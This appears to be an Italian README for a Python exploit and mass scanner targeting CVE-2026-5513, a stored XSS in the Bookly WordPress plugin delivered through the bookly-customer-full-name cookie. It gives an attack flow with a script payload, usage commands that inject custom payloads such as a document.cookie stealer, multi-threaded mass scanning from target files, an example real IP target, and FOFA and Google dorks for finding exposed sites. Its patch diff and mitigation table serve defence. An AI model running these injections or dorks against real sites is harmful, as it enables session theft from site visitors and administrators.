
CVE-2026-5513: Bookly <= 27.2 XSS persistente tramite cookie (non autenticato)
| Campo | Valore |
|---|
| CVE ID | CVE-2026-5513 |
| Vulnerabilità | Cross-Site Scripting persistente (XSS) |
| Plugin | Bookly — Sistema di prenotazione appuntamenti e pianificazione online |
| Versioni interessate | ≤ 27.2 |
| Patch | 27.3+ |
| CVSS 3.1 | 7.2 (High) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| Autenticazione richiesta | Nessuna |
| Prerequisito | Remember personal information in cookies deve essere attivata (disattivata per impostazione predefinita) |
Il plugin Bookly per WordPress è vulnerabile a Cross-Site Scripting persistente tramite il cookie bookly-customer-full-name nelle versioni fino alla 27.2 inclusa a causa di una sanitizzazione dell'input e un escaping dell'output insufficienti.
Quando l'impostazione "Remember personal information in cookies" è attiva, il plugin legge il valore del cookie bookly-customer-full-name e lo renderizza direttamente nell'HTML del modulo di prenotazione senza un adeguato escaping. Un attaccante non autenticato può iniettare payload JavaScript arbitrari tramite questo cookie, che vengono eseguiti quando un qualsiasi utente (inclusi gli amministratori) visita una pagina che contiene il modulo di prenotazione di Bookly.
Attacker → Set malicious cookie (bookly-customer-full-name=<script>...</script>)
→ Visit page with Bookly booking form
→ Plugin reads cookie, renders value without escaping
→ XSS payload executes in victim's browser context
// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // No sanitization
echo '<input type="text" value="' . $full_name . '" />'; // No escaping
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
✓ Auto IP/Domain probing (HTTP/HTTPS, common ports, redirect detection)
✓ WordPress & Bookly plugin detection with version check
✓ Cookie setting detection (BooklyL10n JS analysis + canary reflection)
✓ Multi-context XSS testing (HTML, JavaScript, attribute injection)
✓ Payload injection with reflection verification
✓ Single target or mass scan from file
✓ Multi-threaded scanning (up to 20 threads)
✓ Proxy support (Burp, etc.)
✓ Auto-save vulnerable results
✓ Interactive menu + CLI modes
pip install requests colorama
# Check single target
python CVE-2026-5513.py -u https://target.com -v
# Check single IP (auto-probe ports + redirects)
python CVE-2026-5513.py -u 167.99.0.203 -v
# Check + inject XSS payload
python CVE-2026-5513.py -u https://target.com --inject -v
# Custom XSS payload
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# Mass scan from file
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# With Burp proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
python CVE-2026-5513.py
| Flag | Descrizione |
|---|---|
-u URL | Singolo target (URL, dominio o IP) |
-l FILE | File con elenco di target (uno per riga) |
--inject | Inietta payload XSS (predefinito: solo verifica) |
--payload STR | Payload XSS personalizzato |
-t N | Numero di thread (predefinito: 10, max: 20) |
--proxy URL | Proxy HTTP (es. http://127.0.0.1:8080) |
-o FILE | Salva i risultati in un file |
-v | Output verboso |
Lo strumento accetta uno qualsiasi di questi formati in -u o nel file di elenco dei target:
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
Per IP senza dominio, lo strumento automaticamente:
167.99.0.203 → https://book.repairrite.com)/wp/, /blog/, /wordpress/, ecc.)STEP 0 → Probe target (IP/domain → resolve base URL, detect redirects)
STEP 1 → Detect Bookly plugin (readme.txt, plugin dir, assets, version check)
STEP 2 → Check cookie setting (BooklyL10n JS analysis + canary reflection test)
STEP 3 → Test XSS reflection (HTML context, JS context, attribute context)
STEP 4 → Inject payload (if --inject mode, verify reflection)
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
| Priorità | Azione |
|---|---|
| 🔴 | Aggiorna Bookly alla versione 27.3+ |
| 🟡 | Disattiva "Remember personal information in cookies" in Bookly Settings → General |
| 🟢 | Implementa regole WAF per filtrare XSS nei valori dei cookie |
| 🟢 | Implementa le intestazioni Content-Security-Policy (CSP) |
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi didattici. L'accesso non autorizzato ai sistemi informatici è illegale. Ottieni sempre la dovuta autorizzazione prima di effettuare test. L'autore non è responsabile per qualsiasi uso improprio di questo strumento.
MIT